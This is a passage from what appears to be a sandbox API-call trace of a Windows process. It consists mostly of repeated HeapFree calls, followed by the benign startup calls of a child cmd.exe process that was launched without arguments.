returned 1 [0179.472] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.473] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.474] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.479] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.480] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.482] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.515] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.519] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.519] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0179.521] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.523] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.525] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.535] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.537] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.543] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.545] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.547] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.774] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.775] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.778] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.782] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.784] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.786] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.788] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.790] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.792] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.794] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.796] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.798] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0179.799] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.085] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.087] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.089] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.090] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.093] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.095] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.097] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.098] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.100] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.102] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.103] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.110] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.111] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.111] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.111] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.111] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.111] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.111] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.112] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.113] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.114] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.114] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.114] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.114] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.115] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.116] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.116] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.126] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.127] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.127] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.127] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.129] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.129] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.129] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.129] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.129] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.130] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.130] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.130] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.131] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.131] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.131] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.131] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.132] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.132] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.132] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.133] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.133] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.134] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.134] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.134] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.134] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.134] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.134] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.135] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0180.135] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.137] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.517] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.603] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.605] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.633] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.635] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.637] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.639] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.701] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.704] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.706] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.709] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.710] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.712] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.713] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0180.714] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0180.737] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0180.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0180.757] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0180.856] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0180.912] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0180.947] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0180.948] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0180.950] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0180.950] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0180.950] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0180.997] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0180.997] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0180.999] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.001] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0181.059] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43200b8 | out: hHeap=0x790000) returned 1 [0181.059] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0181.059] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.098] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0181.276] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0181.412] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0181.412] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.649] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43300c0 | out: hHeap=0x790000) returned 1 [0181.779] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43400c8 | out: hHeap=0x790000) returned 1 [0181.780] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43400c8 | out: hHeap=0x790000) returned 1 [0181.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x43300c0 | out: hHeap=0x790000) returned 1 [0181.781] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0181.864] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0181.864] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0181.957] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0181.957] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0181.957] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.421] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0184.465] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 [0184.477] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.507] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.508] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.526] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.526] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.527] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.527] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.528] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.529] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.530] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.530] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.530] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.530] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.537] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.539] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.550] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.551] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.551] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.551] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.552] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.553] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.553] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.554] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.554] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.555] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.555] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.556] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.557] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.558] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.559] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.559] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.559] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.559] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.562] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.562] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.563] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.563] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.563] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.564] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.565] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.566] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4270068 | out: hHeap=0x790000) returned 1 [0184.566] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4260060 | out: hHeap=0x790000) returned 1 [0184.577] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x42a0080 | out: hHeap=0x790000) returned 1 Thread: id = 30 os_tid = 0x474 Thread: id = 31 os_tid = 0x7a8 Process: id = "2" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x69921000" os_pid = "0xb64" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x7ec" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000103c1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 3 os_tid = 0xfdc [0158.494] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff7cb590000 [0158.494] __set_app_type (_Type=0x1) [0158.494] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff7cb5a6d00) returned 0x0 [0158.494] __getmainargs (in: _Argc=0x7ff7cb5c9200, _Argv=0x7ff7cb5c9208, _Env=0x7ff7cb5c9210, _DoWildCard=0, _StartInfo=0x7ff7cb5c921c | out: _Argc=0x7ff7cb5c9200, _Argv=0x7ff7cb5c9208, _Env=0x7ff7cb5c9210) returned 0 [0158.494] _onexit (_Func=0x7ff7cb5a7fd0) returned 0x7ff7cb5a7fd0 [0158.494] _onexit (_Func=0x7ff7cb5a7fe0) returned 0x7ff7cb5a7fe0 [0158.494] _onexit (_Func=0x7ff7cb5a7ff0) returned 0x7ff7cb5a7ff0 [0158.494] _onexit (_Func=0x7ff7cb5a8000) returned 0x7ff7cb5a8000 [0158.494] _onexit (_Func=0x7ff7cb5a8010) returned 0x7ff7cb5a8010 [0158.495] _onexit (_Func=0x7ff7cb5a8020) returned 0x7ff7cb5a8020 [0158.495] GetCurrentThreadId () returned 0xfdc [0158.495] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xfdc) returned 0x70 [0158.495] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0158.495] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetThreadUILanguage") returned 0x7ff92fdea990 [0158.495] SetThreadUILanguage (LangId=0x0) returned 0x409 [0158.525] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0158.525] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x8fb4effa78 | out: phkResult=0x8fb4effa78*=0x0) returned 0x2 [0158.525] VirtualQuery (in: lpAddress=0x8fb4effa64, lpBuffer=0x8fb4eff9e0, dwLength=0x30 | out: lpBuffer=0x8fb4eff9e0*(BaseAddress=0x8fb4eff000, AllocationBase=0x8fb4e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0158.525] VirtualQuery (in: lpAddress=0x8fb4e00000, lpBuffer=0x8fb4eff9e0, dwLength=0x30 | out: lpBuffer=0x8fb4eff9e0*(BaseAddress=0x8fb4e00000, AllocationBase=0x8fb4e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0158.525] VirtualQuery (in: lpAddress=0x8fb4e01000, lpBuffer=0x8fb4eff9e0, dwLength=0x30 | out: lpBuffer=0x8fb4eff9e0*(BaseAddress=0x8fb4e01000, AllocationBase=0x8fb4e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0158.525] VirtualQuery (in: lpAddress=0x8fb4e04000, lpBuffer=0x8fb4eff9e0, dwLength=0x30 | out: lpBuffer=0x8fb4eff9e0*(BaseAddress=0x8fb4e04000, AllocationBase=0x8fb4e00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0158.525] VirtualQuery (in: lpAddress=0x8fb4f00000, lpBuffer=0x8fb4eff9e0, dwLength=0x30 | out: lpBuffer=0x8fb4eff9e0*(BaseAddress=0x8fb4f00000, AllocationBase=0x8fb4f00000, AllocationProtect=0x4, __alignment1=0xffffb78a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0158.525] GetConsoleOutputCP () returned 0x1b5 [0158.535] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7cb5cfbb0 | out: lpCPInfo=0x7ff7cb5cfbb0) returned 1 [0158.535] SetConsoleCtrlHandler (HandlerRoutine=0x7ff7cb5b8150, Add=1) returned 1 [0158.535] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.535] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7cb5cfc04 | out: lpMode=0x7ff7cb5cfc04) returned 0 [0158.535] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.536] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7cb5cfc00 | out: lpMode=0x7ff7cb5cfc00) returned 0 [0158.536] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.536] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0158.536] _get_osfhandle (_FileHandle=1) returned 0x254 [0158.536] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff7cb5cfc08 | out: lpMode=0x7ff7cb5cfc08) returned 0 [0158.536] _get_osfhandle (_FileHandle=0) returned 0x248 [0158.536] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff7cb5cfc0c | out: lpMode=0x7ff7cb5cfc0c) returned 0 [0158.536] GetEnvironmentStringsW () returned 0x1990d365a10* [0158.536] GetProcessHeap () returned 0x1990d360000 [0158.536] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xa7c) 